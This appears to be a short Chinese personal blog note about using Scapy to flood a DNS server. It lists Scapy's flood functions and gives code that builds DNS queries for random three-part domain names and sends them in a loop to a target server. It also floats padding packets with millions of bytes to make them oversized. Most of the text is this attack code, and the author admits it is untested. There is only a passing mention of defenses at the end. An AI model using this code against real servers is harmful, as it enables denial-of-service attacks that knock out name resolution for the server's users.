肿么回事,现在肿么都是这些东西?不过看了别人的代码,忍不住留个纪念,对生成随机的数据包有启发,其实,在Scapy有专门的洪水发包的方法
srflood
srloop
srp
srp1
srpflood
srploop
改天有时间测试一下
那么如何对DNS服务器进行大量DNS名称解析呢?
首先要构建一个包含随机查询字符串的DNS请求包,主要还是添加qname项
qname一般包含FQDN名称,类似于www.baidu.com,要产生这种格式的名称,以'.'分隔三部分字符串
第一个s1,加上.,然后第二个s2,加上.,最后是第三个s3。那么可以随机产生字符串就ok了
s=RandString(RandNum(1,10))
s1=s.lower()
d=RandString(RandNum(1,10))
s2=d.lower()
t=RandString(RandNum(2,3))
s3=t.lower()
整合起来的字符串就是
q=s1+'.'+s2+'.'+s3
构建一个包
p=IP(dst='dns-server')/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q))
然后send()出去
send(p)
如果可以接收数据包,那么使用srflood()是个不错的选择
send()可以只管发送,不管接收
再加上一个循环,就可以发送n多DNS请求包
想想看,如果将s1与s2的取值扩充成很大,那么发一个巨型的数据包,再循环一下....没看RFC文档,不知道一个DNS包的限定字节数是多少
看了一种方法,就是在TCP层之上,加上超容量的字符
例如TCP()/('xx'*6000000)
这样应该可以了,还没测试过,还需要继续验证
看来服务器的安全真是很重要,还没看到Linux的DNS配置,看看有什么防御方法不